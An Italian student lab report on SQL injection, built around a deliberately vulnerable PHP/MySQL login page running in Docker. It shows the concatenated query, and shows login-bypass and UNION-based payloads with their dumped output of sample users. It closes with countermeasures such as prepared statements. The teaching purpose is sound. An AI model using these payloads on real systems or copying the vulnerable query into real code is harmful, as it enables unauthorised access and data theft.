

# **RELAZIONE SQL INJECTION**

Simone Vergari : 2030526 (teledidattica)

Raul Comazzetto : 1940618 (presenza)

1 INTRODUZIONE	3
Obbiettivi del progetto	3
Tecnologie utilizzate	3
2 DESCRIZIONE DEL PROGETTO	4
Architettura generale	4
Funzionamento della pagina	4
Codice PHP: Connessione database e esecuzione query SQL	5
Codice vulnerabile	6
Violazione delle proprietà CIA	9
3 CONTROMISURE	10
Prepared Statements (query parametrizzate)	10
Utilizzo del metodo POST per l'invio delle credenziali	10
Validazione e sanitizzazione dell'input	10

# 1 INTRODUZIONE

## Obbiettivi del progetto

L'obiettivo principale di questo progetto è analizzare, progettare e realizzare un'applicazione web volutamente vulnerabile, al fine di comprendere in modo pratico il funzionamento degli attacchi di tipo **SQL Injection**. Attraverso questa simulazione, si intende evidenziare le debolezze che possono emergere da una scarsa validazione degli input utente e mostrare le possibili contromisure da adottare per proteggere un'applicazione reale.

Il progetto si inserisce nel contesto della sicurezza informatica, e in particolare nello studio delle vulnerabilità OWASP, focalizzandosi sulla SQL Injection come una delle dieci principali minacce alle applicazioni web.

## Tecnologie utilizzate

Per la realizzazione dell'ambiente di test e dell'applicazione vulnerabile sono state utilizzate le seguenti tecnologie:

- **PHP**: linguaggio di scripting lato server, utilizzato per costruire la logica dell'applicazione e la connessione al database.
- **MySQL**: sistema di gestione di database relazionali, usato per salvare e interrogare i dati degli utenti.
- **Docker**: tecnologia che utilizza container per isolare l'applicazione, il database e l'ambiente di rete, facilitando la configurazione, il test e la portabilità.
- **HTML/CSS**: per costruire l'interfaccia grafica del form di login.

L'interazione tra queste tecnologie ha permesso la simulazione di un caso realistico di SQL Injection, utile per studiarne dinamiche e contromisure.

## 2 DESCRIZIONE DEL PROGETTO

### Architettura generale

Il sistema è composto da due container Docker distinti:

- **Web Server:** un container basato su PHP (con server Apache integrato), che ospita l'applicazione web vulnerabile.
- **Database Server:** un container MySQL, che contiene un database chiamato `testdb`, al cui interno è presente una tabella `users` con i dati sensibili (username, password, email).

Questi due container comunicano tra loro tramite una rete Docker bridge. L'applicazione PHP utilizza `mysqli` per connettersi al database, e tutte le richieste (anche quelle malevole) passano attraverso l'interfaccia web del form di login.

### Funzionamento della pagina

L'interfaccia dell'applicazione è una semplice pagina HTML che presenta un form con due campi di input: username e password. All'invio del form (via metodo GET), i dati vengono inviati al server, che li riceve attraverso `$_GET` e li inserisce direttamente in una query SQL:

```
$sql = "SELECT * FROM users WHERE username='$user' AND password='$pass'";
```

Il risultato della query viene poi interpretato:

- Se sono presenti risultati, si assume che le credenziali siano corrette e viene mostrato un messaggio di successo.
- In caso contrario, l'accesso viene negato.

La risposta contiene inoltre un echo della query SQL eseguita, utile per comprendere la dinamica dell'iniezione.

## Codice PHP: Connessione database e esecuzione query SQL

### Connessione al database

```
$conn = new mysqli("db", "root", "root", "testdb");
```

In caso di fallimento, il codice tenta di riconnettersi fino a 5 volte, con un ritardo di 3 secondi tra un tentativo e l'altro.

### Lettura parametri Username e Password:

```
if (isset($_GET['username']) && isset($_GET['password'])) {  
    $user = $_GET['username'];  
    $pass = $_GET['password'];  
}
```

### Costruzione ed esecuzione della query SQL non parametrizzata (vulnerabile):

```
$sql = "SELECT * FROM users WHERE username='$user' AND password='$pass'";  
echo "<p class='query'><strong>Query eseguita:</strong> " . htmlspecialchars($sql) .  
"</p>";  
  
$result = $conn->query($sql);
```

### Output dei risultati

Se la query ha successo, i dati dell'utente vengono stampati nel browser tramite HTML.

## Codice vulnerabile

Il seguente frammento è il punto critico del progetto:

```
$sql = "SELECT * FROM users WHERE username='$user' AND password='$pass'";
```

L'inserimento dell'input utente nella query senza alcuna validazione o escape permette di eseguire **SQL Injection**, ossia modificare l'intento della query in modo arbitrario.

### • LOGIN BYPASS

Input malevolo: ' OR 1=1 --

**Obiettivo:** Ottenere accesso senza conoscere credenziali valide.

**Strategie adottate:**

- *Tautologia (Tautology Injection):*

La condizione `OR 1=1` è sempre vera, quindi l'intera clausola `WHERE` della query SQL diventa sempre soddisfatta. Questo permette di bypassare il controllo delle credenziali.

- *Commento di fine riga (End-of-line comment):*

Il simbolo `--` viene usato per commentare il resto della query SQL originale, impedendo eventuali errori sintattici e annullando il resto della logica dell'applicazione (es. controllo della password).

**Login**

Username:

Password:

Login

Query eseguita: SELECT \* FROM users WHERE username="" OR 1=1 -- ' AND password=""

**Accesso consentito**

id	username	password	email
1	admin	admin123	admin@example.com
2	mario.rossi	pass123	mario.rossi@example.it
3	luigi.bianchi	password1	luigi.bianchi@example.it
4	anna.verdi	securepass	anna.verdi@example.it
5	francesca.moretti	qwerty12	francesca.moretti@example.it
6	giuseppe.ferrari	abc12345	giuseppe.ferrari@example.it
7	laura.galli	passw0rd	laura.galli@example.it
8	andrea.martini	1234abcd	andrea.martini@example.it
9	elena.lombardi	mypassword	elena.lombardi@example.it
10	roberto.conti	roberto2025	roberto.conti@example.it
11	silvia.russo	silvia321	silvia.russo@example.it

## • ENUMERAZIONE DELLE TABELLE

Input malevolo: ' UNION SELECT null, table\_name, null, null FROM information\_schema.tables --

**Obiettivo:** Scoprire i nomi delle tabelle presenti nel database.

**Strategie adottate:**

- *UNION-Based Injection:*

L'attaccante utilizza l'istruzione `UNION SELECT` per combinare la query originale con una nuova query controllata. In questo caso, si estrae il contenuto della colonna `table_name` dalla tabella `information_schema.tables`, che contiene i metadati del database.

- *Information Schema Access:*

E' una parte standard dei database relazionali come MySQL, che permette di visualizzare informazioni sulla struttura del database. Viene sfruttata per elencare tabelle e colonne.

The screenshot shows a web application interface. At the top, there is a 'Login' button. Below it, a form with 'Username:' and 'Password:' fields and a 'Login' button. Below the form, a message reads: 'Query eseguita: SELECT \* FROM users WHERE username=" UNION SELECT null, table\_name, null, null FROM information\_schema.tables -- " AND password="'. Below this, a green message says 'Accesso consentito'. At the bottom, a table lists database tables with columns 'id', 'username', 'password', and 'email'. The table contains 20 rows of database metadata.

id	username	password	email
1	CHARACTER_SETS		
2	COLLATIONS		
3	COLLATION_CHARACTER_SET_APPLICABILITY		
4	COLUMNS		
5	COLUMN_PRIVILEGES		
6	ENGINES		
7	EVENTS		
8	FILES		
9	GLOBAL_STATUS		
10	GLOBAL_VARIABLES		
11	KEY_COLUMN_USAGE		
12	OPTIMIZER_TRACE		
13	PARAMETERS		
14	PARTITIONS		
15	PLUGINS		
16	PROCESSLIST		
17	PROFILING		
18	REFERENTIAL_CONSTRAINTS		
19	ROUTINES		
20	SCHEMATA		

- **ESTRAZIONE DI DATI SENSIBILI**

**Input malevolo:** ' UNION SELECT null, username, null, email FROM users --

**Obiettivo:** Ottenere dati riservati come username ed email della tabella users.

**Strategie adottate:**

- *UNION-Based Injection:*

L'attaccante usa UNION SELECT per combinare i risultati della query originale con quelli di una query che punta direttamente alla tabella users, estraendo dati sensibili.

**Login**

Username:

Password:

Login

**Query eseguita:** SELECT \* FROM users WHERE username="" UNION SELECT null, username, null, email FROM users -- " AND password=""

**Accesso consentito**

id	username	password	email
1	admin		admin@example.com
2	mario.rossi		mario.rossi@example.it
3	luigi.bianchi		luigi.bianchi@example.it
4	anna.verdi		anna.verdi@example.it
5	francesca.moretti		francesca.moretti@example.it
6	giuseppe.ferrari		giuseppe.ferrari@example.it
7	laura.galli		laura.galli@example.it
8	andrea.martini		andrea.martini@example.it
9	elena.lombardi		elena.lombardi@example.it
10	roberto.conti		roberto.conti@example.it
11	silvia.russo		silvia.russo@example.it

## Violazione delle proprietà CIA

**Integrità** : La proprietà viene violata perché l'attaccante ha la possibilità di modificare il comportamento previsto dalla query. Inserendo comandi SQL arbitrari, si modifica la logica del programma.

**Autenticazione** : Inserendo un input come `' OR 1=1 --`, l'attaccante forza la query a considerare una condizione sempre vera. Di conseguenza, l'accesso viene concesso anche senza conoscere username e password corretti.

**Confidenzialità** : Attraverso l'uso di `UNION SELECT`, un attaccante può accedere a dati che non dovrebbe visualizzare. È possibile ottenere direttamente informazioni sensibili, come username, email o altri dati presenti nelle tabelle del database. In alcuni casi, l'attaccante riesce anche a esplorare l'intera struttura del database usando `information_schema`, compromettendo ancor di più la riservatezza dei dati.

# 3 CONTROMISURE

## **Prepared Statements (query parametrizzate)**

La difesa più efficace contro la SQL Injection è l'uso delle prepared statements offerte dall'estensione mysqli di PHP. Queste istruzioni permettono di separare completamente la logica della query dai dati inseriti dall'utente, evitando che il contenuto dell'input venga interpretato come parte della sintassi SQL, quindi anche se l'utente inserisse caratteri pericolosi, questi verrebbero trattati come semplici dati e non potrebbero compromettere la query.

## **Utilizzo del metodo POST per l'invio delle credenziali**

Nel codice viene utilizzato il metodo GET, che invia i dati direttamente nell'URL. Questo approccio non è consigliato per dati sensibili come username e password, sia per motivi di sicurezza sia di riservatezza. È preferibile utilizzare il metodo POST, che non espone le informazioni nella barra degli indirizzi.

## **Validazione e sanitizzazione dell'input**

Le prepared statements sono sufficienti a prevenire le SQL Injection, è buona pratica validare i dati inseriti dall'utente. Ad esempio, si può controllare che il nome utente sia composto solo da caratteri alfanumerici e abbia una lunghezza precisa.